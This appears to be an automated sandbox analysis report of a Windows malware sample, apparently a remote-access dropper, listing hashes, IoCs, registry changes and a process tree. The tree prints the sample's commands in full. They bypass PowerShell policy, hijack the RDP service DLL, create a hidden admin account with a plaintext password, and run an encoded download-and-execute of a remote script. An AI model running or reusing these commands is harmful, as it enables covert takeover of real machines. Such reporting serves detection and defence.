Analysis
- max time kernel
48s - max time network
125s - platform
windows10_x64 - resource
win10v20210410 - submitted
16/06/2021, 10:08
Static task
static1
Behavioral task
behavioral1
Sample
6efc7601be401f3e9b49f4f2cf63fee9.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
6efc7601be401f3e9b49f4f2cf63fee9.exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
General
- Target 6efc7601be401f3e9b49f4f2cf63fee9.exe
- Size 6.0MB
- Sample210616-pmlmt3wtxj
- SHA256 9d2a3042c4e2d68df7a39cd7efae7c64f2b7ed5ae507bac9282e154591757724
- MD5 6efc7601be401f3e9b49f4f2cf63fee9
- SHA1 6c975b9f64a3e0840c43f11571bc4b1bccdc3d83
- SHA512 87998010dd888280388f65637945aca1c641c45ad482d9abb193b1f00c5838aff22dcec68c695feb357dab26f536edd8364640cda4814de461c506b1ff288c7a
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
- Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
- Blocklisted process makes network request 9 IoCs
flow pid Process 13 1252 powershell.exe 15 1252 powershell.exe 16 1252 powershell.exe 17 1252 powershell.exe 19 1252 powershell.exe 21 1252 powershell.exe 23 1252 powershell.exe 25 1252 powershell.exe 27 1252 powershell.exe - Modifies RDP port number used by Windows 1 TTPs
- Sets DLL path for service in the registry 2 TTPs
-
resource yara_rule behavioral2/files/0x000500000001ab7a-222.dat upx behavioral2/files/0x000500000001ab7b-223.dat upx - Loads dropped DLL 2 IoCs
pid Process 3488 Process not Found 3488 Process not Found - Drops file in Program Files directory 4 IoCs
description ioc Process File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI powershell.exe - Drops file in Windows directory 19 IoCs
description ioc Process File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA473.tmp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA4C3.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File created C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA504.tmp powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_jgcka5tz.dwz.ps1 powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_1d3043kd.q33.psm1 powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA493.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA4F3.tmp powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1400 = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\DisplayName = "Local intranet" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet." powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache," powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\@ivt = "1" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4 powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\https = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Flags = "33" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\http = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data." powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1" powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\ef29a4ec885fa451 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c00550073006500720020004100670065006e0074002c000000010054004d006f007a0069006c006c0061002f0035002e0030002000280063006f006d00700061007400690062006c0065003b0020004d00530049004500200039002e0030003b002000570069006e003300320029000000000000000000 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Icon = "shell32.dll#0016" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Icon = "shell32.dll#0018" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1400 = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426" powershell.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 2104 reg.exe - Runs net.exe
- Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 15 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 17 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) - Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 2808 powershell.exe 2808 powershell.exe 2808 powershell.exe 1156 powershell.exe 1156 powershell.exe 1156 powershell.exe 1832 powershell.exe 1832 powershell.exe 1832 powershell.exe 3024 powershell.exe 3024 powershell.exe 3024 powershell.exe 2808 powershell.exe 2808 powershell.exe 2808 powershell.exe 1252 powershell.exe 1252 powershell.exe 1252 powershell.exe - Suspicious behavior: LoadsDriver 2 IoCs
pid Process 612 Process not Found 612 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2808 powershell.exe Token: SeDebugPrivilege 1156 powershell.exe Token: SeIncreaseQuotaPrivilege 1156 powershell.exe Token: SeSecurityPrivilege 1156 powershell.exe Token: SeTakeOwnershipPrivilege 1156 powershell.exe Token: SeLoadDriverPrivilege 1156 powershell.exe Token: SeSystemProfilePrivilege 1156 powershell.exe Token: SeSystemtimePrivilege 1156 powershell.exe Token: SeProfSingleProcessPrivilege 1156 powershell.exe Token: SeIncBasePriorityPrivilege 1156 powershell.exe Token: SeCreatePagefilePrivilege 1156 powershell.exe Token: SeBackupPrivilege 1156 powershell.exe Token: SeRestorePrivilege 1156 powershell.exe Token: SeShutdownPrivilege 1156 powershell.exe Token: SeDebugPrivilege 1156 powershell.exe Token: SeSystemEnvironmentPrivilege 1156 powershell.exe Token: SeRemoteShutdownPrivilege 1156 powershell.exe Token: SeUndockPrivilege 1156 powershell.exe Token: SeManageVolumePrivilege 1156 powershell.exe Token: 33 1156 powershell.exe Token: 34 1156 powershell.exe Token: 35 1156 powershell.exe Token: 36 1156 powershell.exe Token: SeDebugPrivilege 1832 powershell.exe Token: SeIncreaseQuotaPrivilege 1832 powershell.exe Token: SeSecurityPrivilege 1832 powershell.exe Token: SeTakeOwnershipPrivilege 1832 powershell.exe Token: SeLoadDriverPrivilege 1832 powershell.exe Token: SeSystemProfilePrivilege 1832 powershell.exe Token: SeSystemtimePrivilege 1832 powershell.exe Token: SeProfSingleProcessPrivilege 1832 powershell.exe Token: SeIncBasePriorityPrivilege 1832 powershell.exe Token: SeCreatePagefilePrivilege 1832 powershell.exe Token: SeBackupPrivilege 1832 powershell.exe Token: SeRestorePrivilege 1832 powershell.exe Token: SeShutdownPrivilege 1832 powershell.exe Token: SeDebugPrivilege 1832 powershell.exe Token: SeSystemEnvironmentPrivilege 1832 powershell.exe Token: SeRemoteShutdownPrivilege 1832 powershell.exe Token: SeUndockPrivilege 1832 powershell.exe Token: SeManageVolumePrivilege 1832 powershell.exe Token: 33 1832 powershell.exe Token: 34 1832 powershell.exe Token: 35 1832 powershell.exe Token: 36 1832 powershell.exe Token: SeDebugPrivilege 3024 powershell.exe Token: SeIncreaseQuotaPrivilege 3024 powershell.exe Token: SeSecurityPrivilege 3024 powershell.exe Token: SeTakeOwnershipPrivilege 3024 powershell.exe Token: SeLoadDriverPrivilege 3024 powershell.exe Token: SeSystemProfilePrivilege 3024 powershell.exe Token: SeSystemtimePrivilege 3024 powershell.exe Token: SeProfSingleProcessPrivilege 3024 powershell.exe Token: SeIncBasePriorityPrivilege 3024 powershell.exe Token: SeCreatePagefilePrivilege 3024 powershell.exe Token: SeBackupPrivilege 3024 powershell.exe Token: SeRestorePrivilege 3024 powershell.exe Token: SeShutdownPrivilege 3024 powershell.exe Token: SeDebugPrivilege 3024 powershell.exe Token: SeSystemEnvironmentPrivilege 3024 powershell.exe Token: SeRemoteShutdownPrivilege 3024 powershell.exe Token: SeUndockPrivilege 3024 powershell.exe Token: SeManageVolumePrivilege 3024 powershell.exe Token: 33 3024 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3896 wrote to memory of 2808 3896 6efc7601be401f3e9b49f4f2cf63fee9.exe 75 PID 3896 wrote to memory of 2808 3896 6efc7601be401f3e9b49f4f2cf63fee9.exe 75 PID 2808 wrote to memory of 4068 2808 powershell.exe 77 PID 2808 wrote to memory of 4068 2808 powershell.exe 77 PID 4068 wrote to memory of 2284 4068 csc.exe 78 PID 4068 wrote to memory of 2284 4068 csc.exe 78 PID 2808 wrote to memory of 1156 2808 powershell.exe 81 PID 2808 wrote to memory of 1156 2808 powershell.exe 81 PID 2808 wrote to memory of 1832 2808 powershell.exe 84 PID 2808 wrote to memory of 1832 2808 powershell.exe 84 PID 2808 wrote to memory of 3024 2808 powershell.exe 86 PID 2808 wrote to memory of 3024 2808 powershell.exe 86 PID 2808 wrote to memory of 3900 2808 powershell.exe 89 PID 2808 wrote to memory of 3900 2808 powershell.exe 89 PID 2808 wrote to memory of 2104 2808 powershell.exe 90 PID 2808 wrote to memory of 2104 2808 powershell.exe 90 PID 2808 wrote to memory of 1916 2808 powershell.exe 91 PID 2808 wrote to memory of 1916 2808 powershell.exe 91 PID 2808 wrote to memory of 2084 2808 powershell.exe 92 PID 2808 wrote to memory of 2084 2808 powershell.exe 92 PID 2084 wrote to memory of 2724 2084 net.exe 93 PID 2084 wrote to memory of 2724 2084 net.exe 93 PID 2808 wrote to memory of 2284 2808 powershell.exe 94 PID 2808 wrote to memory of 2284 2808 powershell.exe 94 PID 2284 wrote to memory of 3796 2284 cmd.exe 95 PID 2284 wrote to memory of 3796 2284 cmd.exe 95 PID 3796 wrote to memory of 2664 3796 cmd.exe 96 PID 3796 wrote to memory of 2664 3796 cmd.exe 96 PID 2664 wrote to memory of 2088 2664 net.exe 97 PID 2664 wrote to memory of 2088 2664 net.exe 97 PID 2808 wrote to memory of 2352 2808 powershell.exe 98 PID 2808 wrote to memory of 2352 2808 powershell.exe 98 PID 2352 wrote to memory of 4052 2352 cmd.exe 99 PID 2352 wrote to memory of 4052 2352 cmd.exe 99 PID 4052 wrote to memory of 3924 4052 cmd.exe 100 PID 4052 wrote to memory of 3924 4052 cmd.exe 100 PID 3924 wrote to memory of 1832 3924 net.exe 101 PID 3924 wrote to memory of 1832 3924 net.exe 101 PID 2124 wrote to memory of 2104 2124 cmd.exe 105 PID 2124 wrote to memory of 2104 2124 cmd.exe 105 PID 2104 wrote to memory of 4040 2104 net.exe 106 PID 2104 wrote to memory of 4040 2104 net.exe 106 PID 1804 wrote to memory of 3872 1804 cmd.exe 109 PID 1804 wrote to memory of 3872 1804 cmd.exe 109 PID 3872 wrote to memory of 2144 3872 net.exe 110 PID 3872 wrote to memory of 2144 3872 net.exe 110 PID 3644 wrote to memory of 3908 3644 cmd.exe 113 PID 3644 wrote to memory of 3908 3644 cmd.exe 113 PID 3908 wrote to memory of 2388 3908 net.exe 114 PID 3908 wrote to memory of 2388 3908 net.exe 114 PID 1516 wrote to memory of 2804 1516 cmd.exe 117 PID 1516 wrote to memory of 2804 1516 cmd.exe 117 PID 2804 wrote to memory of 2104 2804 net.exe 118 PID 2804 wrote to memory of 2104 2804 net.exe 118 PID 4040 wrote to memory of 1240 4040 cmd.exe 121 PID 4040 wrote to memory of 1240 4040 cmd.exe 121 PID 1240 wrote to memory of 3808 1240 net.exe 122 PID 1240 wrote to memory of 3808 1240 net.exe 122 PID 2144 wrote to memory of 188 2144 cmd.exe 125 PID 2144 wrote to memory of 188 2144 cmd.exe 125 PID 188 wrote to memory of 2664 188 net.exe 126 PID 188 wrote to memory of 2664 188 net.exe 126 PID 3004 wrote to memory of 2064 3004 cmd.exe 129 PID 3004 wrote to memory of 2064 3004 cmd.exe 129
Processes
-
C:\Users\Admin\AppData\Local\Temp\6efc7601be401f3e9b49f4f2cf63fee9.exe"C:\Users\Admin\AppData\Local\Temp\6efc7601be401f3e9b49f4f2cf63fee9.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3896 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2808 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kuijob3s\kuijob3s.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:4068 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6D27.tmp" "c:\Users\Admin\AppData\Local\Temp\kuijob3s\CSC4856BA9160684051B4EC1A7082BC632F.TMP"4⤵PID:2284
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1156
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1832
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3024
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:3900
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:2104
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:1916
-
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:2084 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:2724
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:2284 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:3796 -
C:\Windows\system32\net.exenet start rdpdr5⤵
- Suspicious use of WriteProcessMemory
PID:2664 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:2088
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
- Suspicious use of WriteProcessMemory
PID:2352 -
C:\Windows\system32\cmd.execmd /c net start TermService4⤵
- Suspicious use of WriteProcessMemory
PID:4052 -
C:\Windows\system32\net.exenet start TermService5⤵
- Suspicious use of WriteProcessMemory
PID:3924 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1832
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:2180
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:2528
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵
- Suspicious use of WriteProcessMemory
PID:2124 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵
- Suspicious use of WriteProcessMemory
PID:2104 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:4040
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc IUni1mTF /add1⤵
- Suspicious use of WriteProcessMemory
PID:1804 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc IUni1mTF /add2⤵
- Suspicious use of WriteProcessMemory
PID:3872 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc IUni1mTF /add3⤵PID:2144
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:3644 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:3908 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:2388
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:1516 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:2804 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD3⤵PID:2104
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:4040 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:1240 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:3808
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc IUni1mTF1⤵
- Suspicious use of WriteProcessMemory
PID:2144 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc IUni1mTF2⤵
- Suspicious use of WriteProcessMemory
PID:188 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc IUni1mTF3⤵PID:2664
-
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵
- Suspicious use of WriteProcessMemory
PID:3004 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
PID:2064
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:2724
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
PID:1240
-
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:2184
-
